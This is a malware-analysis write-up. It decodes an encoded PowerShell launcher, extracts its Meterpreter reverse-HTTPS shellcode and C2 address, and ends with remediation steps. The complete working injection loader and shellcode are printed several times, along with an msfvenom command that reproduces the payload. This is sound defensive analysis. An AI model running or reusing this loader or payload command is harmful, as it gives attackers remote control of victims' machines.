Reverse Engineering a Encoded Powershell Containing Raw Shellcode Write-up
In this write-up I will be starting with an encoded powershell execution and finding what IP it is reaching out to, what port it is using, and the payload used in the shellcode.
Decoding the Powershell
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoE -NoP -NonI -W Hidden -E $ 1   =   ' $ c   =   ' ' [ D l l I m p o r t ( " k e r n e l 3 2 . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   I n t P t r   V i r t u a l A l l o c ( I n t P t r   l p A d d r e s s ,   u i n t   d w S i z e ,   u i n t   f l A l l o c a t i o n T y p e ,   u i n t   f l P r o t e c t ) ; [ D l l I m p o r t ( " k e r n e l 3 2 . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   I n t P t r   C r e a t e T h r e a d ( I n t P t r   l p T h r e a d A t t r i b u t e s ,   u i n t   d w S t a c k S i z e ,   I n t P t r   l p S t a r t A d d r e s s ,   I n t P t r   l p P a r a m e t e r ,   u i n t   d w C r e a t i o n F l a g s ,   I n t P t r   l p T h r e a d I d ) ; [ D l l I m p o r t ( " m s v c r t . d l l " ) ] p u b l i c   s t a t i c   e x t e r n   I n t P t r   m e m s e t ( I n t P t r   d e s t ,   u i n t   s r c ,   u i n t   c o u n t ) ; ' ' ; $ w   =   A d d - T y p e   - m e m b e r D e f i n i t i o n   $ c   - N a m e   " W i n 3 2 "   - n a m e s p a c e   W i n 3 2 F u n c t i o n s   - p a s s t h r u ; [ B y t e [ ] ] ; [ B y t e [ ] ] $ s c   =   0 x f c , 0 x e 8 , 0 x 8 f , 0 x 0 0 , 0 x 0 0 , 0 x 0 0 , 0 x 6 0 , 0 x 8 9 , 0 x e 5 , 0 x 3 1 , 0 x d 2 , 0 x 6 4 , 0 x 8 b , 0 x 5 2 , 0 x 3 0 , 0 x 8 b , 0 x 5 2 , 0 x 0 c , 0 x 8 b , 0 x 5 2 , 0 x 1 4 , 0 x 0 f , 0 x b 7 , 0 x 4 a , 0 x 2 6 , 0 x 8 b , 0 x 7 2 , 0 x 2 8 , 0 x 3 1 , 0 x f f , 0 x 3 1 , 0 x c 0 , 0 x a c , 0 x 3 c , 0 x 6 1 , 0 x 7 c , 0 x 0 2 , 0 x 2 c , 0 x 2 0 , 0 x c 1 , 0 x c f , 0 x 0 d , 0 x 0 1 , 0 x c 7 , 0 x 4 9 , 0 x 7 5 , 0 x e f , 0 x 5 2 , 0 x 8 b , 0 x 5 2 , 0 x 1 0 , 0 x 5 7 , 0 x 8 b , 0 x 4 2 , 0 x 3 c , 0 x 0 1 , 0 x d 0 , 0 x 8 b , 0 x 4 0 , 0 x 7 8 , 0 x 8 5 , 0 x c 0 , 0 x 7 4 , 0 x 4 c , 0 x 0 1 , 0 x d 0 , 0 x 8 b , 0 x 5 8 , 0 x 2 0 , 0 x 0 1 , 0 x d 3 , 0 x 8 b , 0 x 4 8 , 0 x 1 8 , 0 x 5 0 , 0 x 8 5 , 0 x c 9 , 0 x 7 4 , 0 x 3 c , 0 x 3 1 , 0 x f f , 0 x 4 9 , 0 x 8 b , 0 x 3 4 , 0 x 8 b , 0 x 0 1 , 0 x d 6 , 0 x 3 1 , 0 x c 0 , 0 x c 1 , 0 x c f , 0 x 0 d , 0 x a c , 0 x 0 1 , 0 x c 7 , 0 x 3 8 , 0 x e 0 , 0 x 7 5 , 0 x f 4 , 0 x 0 3 , 0 x 7 d , 0 x f 8 , 0 x 3 b , 0 x 7 d , 0 x 2 4 , 0 x 7 5 , 0 x e 0 , 0 x 5 8 , 0 x 8 b , 0 x 5 8 , 0 x 2 4 , 0 x 0 1 , 0 x d 3 , 0 x 6 6 , 0 x 8 b , 0 x 0 c , 0 x 4 b , 0 x 8 b , 0 x 5 8 , 0 x 1 c , 0 x 0 1 , 0 x d 3 , 0 x 8 b , 0 x 0 4 , 0 x 8 b , 0 x 0 1 , 0 x d 0 , 0 x 8 9 , 0 x 4 4 , 0 x 2 4 , 0 x 2 4 , 0 x 5 b , 0 x 5 b , 0 x 6 1 , 0 x 5 9 , 0 x 5 a , 0 x 5 1 , 0 x f f , 0 x e 0 , 0 x 5 8 , 0 x 5 f , 0 x 5 a , 0 x 8 b , 0 x 1 2 , 0 x e 9 , 0 x 8 0 , 0 x f f , 0 x f f , 0 x f f , 0 x 5 d , 0 x 6 8 , 0 x 6 e , 0 x 6 5 , 0 x 7 4 , 0 x 0 0 , 0 x 6 8 , 0 x 7 7 , 0 x 6 9 , 0 x 6 e , 0 x 6 9 , 0 x 5 4 , 0 x 6 8 , 0 x 4 c , 0 x 7 7 , 0 x 2 6 , 0 x 0 7 , 0 x f f , 0 x d 5 , 0 x 3 1 , 0 x d b , 0 x 5 3 , 0 x 5 3 , 0 x 5 3 , 0 x 5 3 , 0 x 5 3 , 0 x 6 8 , 0 x 3 a , 0 x 5 6 , 0 x 7 9 , 0 x a 7 , 0 x f f , 0 x d 5 , 0 x 5 3 , 0 x 5 3 , 0 x 6 a , 0 x 0 3 , 0 x 5 3 , 0 x 5 3 , 0 x 6 8 , 0 x f b , 0 x 2 0 , 0 x 0 0 , 0 x 0 0 , 0 x e 8 , 0 x b 0 , 0 x 0 0 , 0 x 0 0 , 0 x 0 0 , 0 x 2 f , 0 x 7 1 , 0 x 6 3 , 0 x 5 7 , 0 x 4 b , 0 x 6 9 , 0 x 3 5 , 0 x 3 0 , 0 x 3 4 , 0 x 6 6 , 0 x 3 1 , 0 x 7 6 , 0 x 5 f , 0 x 5 3 , 0 x 6 6 , 0 x 3 5 , 0 x 4 9 , 0 x 6 e , 0 x 3 6 , 0 x 3 7 , 0 x 5 4 , 0 x 5 0 , 0 x 6 7 , 0 x 7 6 , 0 x 7 4 , 0 x 5 4 , 0 x 3 3 , 0 x 5 1 , 0 x 5 7 , 0 x 4 2 , 0 x 0 0 , 0 x 5 0 , 0 x 6 8 , 0 x 5 7 , 0 x 8 9 , 0 x 9 f , 0 x c 6 , 0 x f f , 0 x d 5 , 0 x 8 9 , 0 x c 6 , 0 x 5 3 , 0 x 6 8 , 0 x 0 0 , 0 x 3 2 , 0 x e 8 , 0 x 8 4 , 0 x 5 3 , 0 x 5 3 , 0 x 5 3 , 0 x 5 7 , 0 x 5 3 , 0 x 5 6 , 0 x 6 8 , 0 x e b , 0 x 5 5 , 0 x 2 e , 0 x 3 b , 0 x f f , 0 x d 5 , 0 x 9 6 , 0 x 6 a , 0 x 0 a , 0 x 5 f , 0 x 6 8 , 0 x 8 0 , 0 x 3 3 , 0 x 0 0 , 0 x 0 0 , 0 x 8 9 , 0 x e 0 , 0 x 6 a , 0 x 0 4 , 0 x 5 0 , 0 x 6 a , 0 x 1 f , 0 x 5 6 , 0 x 6 8 , 0 x 7 5 , 0 x 4 6 , 0 x 9 e , 0 x 8 6 , 0 x f f , 0 x d 5 , 0 x 5 3 , 0 x 5 3 , 0 x 5 3 , 0 x 5 3 , 0 x 5 6 , 0 x 6 8 , 0 x 2 d , 0 x 0 6 , 0 x 1 8 , 0 x 7 b , 0 x f f , 0 x d 5 , 0 x 8 5 , 0 x c 0 , 0 x 7 5 , 0 x 1 6 , 0 x 6 8 , 0 x 8 8 , 0 x 1 3 , 0 x 0 0 , 0 x 0 0 , 0 x 6 8 , 0 x 4 4 , 0 x f 0 , 0 x 3 5 , 0 x e 0 , 0 x f f , 0 x d 5 , 0 x 4 f , 0 x 7 5 , 0 x c d , 0 x 6 8 , 0 x f 0 , 0 x b 5 , 0 x a 2 , 0 x 5 6 , 0 x f f , 0 x d 5 , 0 x 6 a , 0 x 4 0 , 0 x 6 8 , 0 x 0 0 , 0 x 1 0 , 0 x 0 0 , 0 x 0 0 , 0 x 6 8 , 0 x 0 0 , 0 x 0 0 , 0 x 4 0 , 0 x 0 0 , 0 x 5 3 , 0 x 6 8 , 0 x 5 8 , 0 x a 4 , 0 x 5 3 , 0 x e 5 , 0 x f f , 0 x d 5 , 0 x 9 3 , 0 x 5 3 , 0 x 5 3 , 0 x 8 9 , 0 x e 7 , 0 x 5 7 , 0 x 6 8 , 0 x 0 0 , 0 x 2 0 , 0 x 0 0 , 0 x 0 0 , 0 x 5 3 , 0 x 5 6 , 0 x 6 8 , 0 x 1 2 , 0 x 9 6 , 0 x 8 9 , 0 x e 2 , 0 x f f , 0 x d 5 , 0 x 8 5 , 0 x c 0 , 0 x 7 4 , 0 x c d , 0 x 8 b , 0 x 0 7 , 0 x 0 1 , 0 x c 3 , 0 x 8 5 , 0 x c 0 , 0 x 7 5 , 0 x e 5 , 0 x 5 8 , 0 x c 3 , 0 x 5 f , 0 x e 8 , 0 x 6 9 , 0 x f f , 0 x f f , 0 x f f , 0 x 3 1 , 0 x 3 7 , 0 x 3 2 , 0 x 2 e , 0 x 3 2 , 0 x 3 6 , 0 x 2 e , 0 x 3 2 , 0 x 3 0 , 0 x 3 1 , 0 x 2 e , 0 x 3 2 , 0 x 3 1 , 0 x 3 7 , 0 x 0 0 ; $ s i z e   =   0 x 1 0 0 0 ; i f   ( $ s c . L e n g t h   - g t   0 x 1 0 0 0 ) { $ s i z e   =   $ s c . L e n g t h } ; $ x = $ w : : V i r t u a l A l l o c ( 0 , 0 x 1 0 0 0 , $ s i z e , 0 x 4 0 ) ; f o r   ( $ i = 0 ; $ i   - l e   ( $ s c . L e n g t h - 1 ) ; $ i + + )   { $ w : : m e m s e t ( [ I n t P t r ] ( $ x . T o I n t 3 2 ( ) + $ i ) ,   $ s c [ $ i ] ,   1 ) } ; $ w : : C r e a t e T h r e a d ( 0 , 0 , $ x , 0 , 0 , 0 ) ; f o r   ( ; ; ) { S t a r t - s l e e p   6 0 } ; ' ; $ g q   =   [ S y s t e m . C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ 1 ) ) ; i f ( [ I n t P t r ] : : S i z e   - e q   8 ) { $ x 8 6   =   $ e n v : S y s t e m R o o t   +   " \ s y s w o w 6 4 \ W i n d o w s P o w e r S h e l l \ v 1 . 0 \ p o w e r s h e l l " ; $ c m d   =   " - n o p   - n o n i   - e n c   " ; i e x   " &   $ x 8 6   $ c m d   $ g q " } e l s e { $ c m d   =   " - n o p   - n o n i   - e n c " ; i e x   " &   p o w e r s h e l l   $ c m d   $ g q " ; } 
Arguments used:
- -NoE : NoExit (This prevents powershell from closing after the command has been ran)
- -NoP : NoProfile (This prevents interference from loading profile scripts by preventing them)
- -NonI : NonInteractive (Common with shellcode, blocks interactive usage from the user)
- -W Hidden : WindowStyle (Combined with NonI, makes it so only the adversary can communicate with this hidden powershell)
- -E : EncodedCommand (This is an acronym for encoding the powershell in base64)
Note that these are all acronyms for longer flags and there are multiple options to use. There are also other common arguments that weren’t used in this case but can be found in the below resource.
Here’s a nice resource on powershell attacks, I highly recommend reading through it.
Decoded from base64
We can tell this is encoded with base64 due to the padding at the end == and the -E flag
There are many resources for decoding base64.
You can also use the command line in linux.
base64 --decode encpowershellafterthe-e.txt
Decoded powershell:
$1 = '$c = ''[DllImport("kernel32.dll")]
public static extern IntPtr
VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';
$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x01,0xd3,0x8b,0x48,0x18,0x50,0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xc1,0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xfb,0x20,0x00,0x00,0xe8,0xb0,0x00,0x00,0x00,0x2f,0x71,0x63,0x57,0x4b,0x69,0x35,0x30,0x34,0x66,0x31,0x76,0x5f,0x53,0x66,0x35,0x49,0x6e,0x36,0x37,0x54,0x50,0x67,0x76,0x74,0x54,0x33,0x51,0x57,0x42,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x16,0x68,0x88,0x13,0x00,0x00,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x69,0xff,0xff,0xff,0x31,0x37,0x32,0x2e,0x32,0x36,0x2e,0x32,0x30,0x31,0x2e,0x32,0x31,0x37,0x00;
$size = 0x1000;
if ($sc.Length -gt 0x1000)
{$size = $sc.Length};
$x=$w::VirtualAlloc(0,0x1000,$size,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++)
{$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$w::CreateThread(0,0,$x,0,0,0);
for (;;)
{Start-sleep 60};';
$gq = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));
if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";
$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $gq"}
else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $gq";}
Now that we have the powershell used, we can tell that they are attempting to inject their shellcode by calling 3 functions. They use the function VirtualAlloc() to create memory for the shellcode, then using memset() to copy in the shellcode, and finally creating a thread with CreateThread() to invoke the shellcode after a 60 second sleep.
Shellcode
We can see the raw 32 bit shellcode provided in the powershell:
[Byte[]]$sc = 0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x01,0xd3,0x8b,0x48,0x18,0x50,0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xc1,0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xfb,0x20,0x00,0x00,0xe8,0xb0,0x00,0x00,0x00,0x2f,0x71,0x63,0x57,0x4b,0x69,0x35,0x30,0x34,0x66,0x31,0x76,0x5f,0x53,0x66,0x35,0x49,0x6e,0x36,0x37,0x54,0x50,0x67,0x76,0x74,0x54,0x33,0x51,0x57,0x42,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x16,0x68,0x88,0x13,0x00,0x00,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x69,0xff,0xff,0xff,0x31,0x37,0x32,0x2e,0x32,0x36,0x2e,0x32,0x30,0x31,0x2e,0x32,0x31,0x37,0x00;
We can see the storing of the raw bytes shellcode in the variable $sc (Shell Code).
In order to get the hex, we must modify the code a bit to put it into a hex editor.
We must remove ‘0x’ and ‘,’ from the code:
Here’s a python script I wrote that will clean the hex up, you can execute it and output to a file you will open in WxHexEditor:
hexx = "0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x01,0xd3,0x8b,0x48,0x18,0x50,0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xc1,0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xfb,0x20,0x00,0x00,0xe8,0xb0,0x00,0x00,0x00,0x2f,0x71,0x63,0x57,0x4b,0x69,0x35,0x30,0x34,0x66,0x31,0x76,0x5f,0x53,0x66,0x35,0x49,0x6e,0x36,0x37,0x54,0x50,0x67,0x76,0x74,0x54,0x33,0x51,0x57,0x42,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x16,0x68,0x88,0x13,0x00,0x00,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x69,0xff,0xff,0xff,0x31,0x37,0x32,0x2e,0x32,0x36,0x2e,0x32,0x30,0x31,0x2e,0x32,0x31,0x37,0x00"
chex_str = hexx.replace("0x", "")
final_str = chex_str.replace(',', '')
print(final_str)
Now that we cleaned up the shellcode’s hex, we can open it in Wx or any other hex editor you prefer:
FC E8 8F 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 0F B7 4A 26 8B 72 28 31 FF 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D 01 C7 49 75 EF 52 8B 52 10 57 8B 42 3C 01 D0 8B 40 78 85 C0 74 4C 01 D0 8B 58 20 01 D3 8B 48 18 50 85 C9 74 3C 31 FF 49 8B 34 8B 01 D6 31 C0 C1 CF 0D AC 01 C7 38 E0 75 F4 03 7D F8 3B 7D 24 75 E0 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF E0 58 5F 5A 8B 12 E9 80 FF FF FF 5D 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 FF D5 31 DB 53 53 53 53 53 68 3A 56 79 A7 FF D5 53 53 6A 03 53 53 68 FB 20 00 00 E8 B0 00 00 00 2F 71 63 57 4B 69 35 30 34 66 31 76 5F 53 66 35 49 6E 36 37 54 50 67 76 74 54 33 51 57 42 00 50 68 57 89 9F C6 FF D5 89 C6 53 68 00 32 E8 84 53 53 53 57 53 56 68 EB 55 2E 3B FF D5 96 6A 0A 5F 68 80 33 00 00 89 E0 6A 04 50 6A 1F 56 68 75 46 9E 86 FF D5 53 53 53 53 56 68 2D 06 18 7B FF D5 85 C0 75 16 68 88 13 00 00 68 44 F0 35 E0 FF D5 4F 75 CD 68 F0 B5 A2 56 FF D5 6A 40 68 00 10 00 00 68 00 00 40 00 53 68 58 A4 53 E5 FF D5 93 53 53 89 E7 57 68 00 20 00 00 53 56 68 12 96 89 E2 FF D5 85 C0 74 CD 8B 07 01 C3 85 C0 75 E5 58 C3 5F E8 69 FF FF FF 31 37 32 2E 32 36 2E 32 30 31 2E 32 31 37 00
This hex will decode to the following:
üè���`‰å1Òd‹R0‹R
‹R ·J&‹r(1ÿ1À¬<a| , ÁÏ
ÇIuïR‹R W‹B< Ћ@x…ÀtL ЋX Ó‹H P…Ét<1ÿI‹4‹ Ö1ÀÁÏ
¬ Ç8àuô }ø;}$uàX‹X$ Óf‹
K‹X Ó‹ ‹ ЉD$$[[aYZQÿàX_Z‹ é€ÿÿÿ]hnet�hwiniThLw&ÿÕ1ÛSSSSSh:Vy§ÿÕSSj SShû ��è°���/qcWKi504f1v_Sf5In67TPgvtT3QWB�PhW‰ŸÆÿÕ‰ÆSh�2è„SSSWSVhëU.;ÿÕ–j
_h€3��‰àj Pj¬VhuFž†ÿÕSSSSVh- {ÿÕ…Àu hˆ ��hDð5àÿÕOuÍhðµ¢VÿÕj@h� ��h��@�ShX¤SåÿÕ“SS‰çWh� ��SVh –‰âÿÕ…ÀtÍ‹ Ã…ÀuåXÃ_èiÿÿÿ172.26.201.217�
Now we can get a little bit of info from this (the C2 IP), but lets make it a little cleaner by removing all obfuscated characters.
Save the decoded section to a text file then run strings on it:
strings hexdecode.txt
Nice, now we can recognize a few characteristics about this:
;}$u
D$$[[aYZQ
]hnet
hwiniThLw&
SSSSSh:Vy
/qcWKi504f1v_Sf5In67TPgvtT3QWB
SSSWSVh
VhuF
SSSSVh-
172.26.201.217
Immediately, we are able to see the private IP that this attempts to establish a reverse connection with for the shell (172.26.201.217).
This is concerning because the private IP indicates they are inside the network and 172.26.201.217 should also be investigated.
Now, we have two options… we can take a look deeper into this shellcode using the open source tool, radare2 or we can do some OSINT on these strings to see if they used any further encoding or if we can find it due to the payload being common.
I always like to start with OSINT because it might give me some information I can use during my reverse engineering.
I’m going to begin with some google dorking of these strings (really just need to add “” around the strings for these).
- ;}$u - this string I don’t think will be of use googling because it doesn’t contain very many characters.
- “D$$[[aYZQ” - this string hints towards meterpreter.
- ]hnet - this won’t help googling, but this string hints with the next string that this involves wininet.dll likely for http.
- “hwiniThLw&” - this one helps us stumble upon something that will help back our suspicions.
I think we’ve got enough for our hypothesis here, let’s take this info we got from OSINT and test the windows/meterpreter/reverse_https for similarities.
msfvenom -p windows/meterpreter/reverse_https -a x86 LHOST=172.26.201.217 LPORT=443 R | strings
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 541 bytes
;}$u
D$$[[aYZQ
]hnet
hwiniThLw&
SSSSS
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
h:Vy
/9pWDo7fgGsA8kj2TXGkMGgriBE7F7zNDRv1A_YBPeRafEH2_2WjLpfZ5UkFvRMkyTEMh6iBxKP_2F7a2XcB_ydDaN0VSH8aI-XJL
SSSWSVh
VhuF
SSSSVh-
172.26.201.217
Now we compare the two:
Decoded Hex (powershell payload) Our msfvenom payload
;}$u identical
D$$[[aYZQ identical
]hnet identical
hwiniThLw& identical
SSSSSh:Vy SSSSS
/qcWKi504f1v_Sf5In67TPgvtT3QWB Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
SSSWSVh h:Vy (this would be identical if not a line in the middle for the user agent)
VhuF /MGgriBE7F7zNDRv1A_YBPeRafEH2 (random string is used here)
SSSSVh- SSSWSVh
172.26.201.217 VhuF
SSSSVh-
172.26.201.217
From our investigation, we can conclude that this is a windows/meterpreter/reverse_https x86 shellcode payload because the only difference in the hex strings was the user agent included in the msfvenom one we created. Since they are using a meterpreter shell, we know they will be using Metasploit as their C2 to listen for the connection.
This is likely due to a different payload creation with “HttpUserAgent=”, as I used the default.
windows/meterpreter/reverse_https
Why https and not tcp?
- Evasion - Firewalls usually allow http/https traffic and would be more likely to block tcp. Along with this, the wininet API that we see that it used can allow an adversary to use proxy/auth settings set up for Internet access.
- Persistence - If the target loses internet/connectivity, it will attempt to reconnect with the attack source.
Recommendations
- Remove 172.26.201.217 from the network.
- Review other devices for connection with this IoC IP.
- Block 172.26.201.217 in the firewall.
- Locate the source of the powershell and clean the device (maldoc, etc).
Raw dump for deeper look at the shellcode from the powershell and windows/meterpreter/reverse_http block api:
0: fc cld
1: e8 8f 00 00 00 call 0x95
6: 60 pusha
7: 89 e5 mov ebp,esp
9: 31 d2 xor edx,edx
b: 64 8b 52 30 mov edx,DWORD PTR fs:[edx+0x30]
f: 8b 52 0c mov edx,DWORD PTR [edx+0xc]
12: 8b 52 14 mov edx,DWORD PTR [edx+0x14]
15: 0f b7 4a 26 movzx ecx,WORD PTR [edx+0x26]
19: 8b 72 28 mov esi,DWORD PTR [edx+0x28]
1c: 31 ff xor edi,edi
1e: 31 c0 xor eax,eax
20: ac lods al,BYTE PTR ds:[esi]
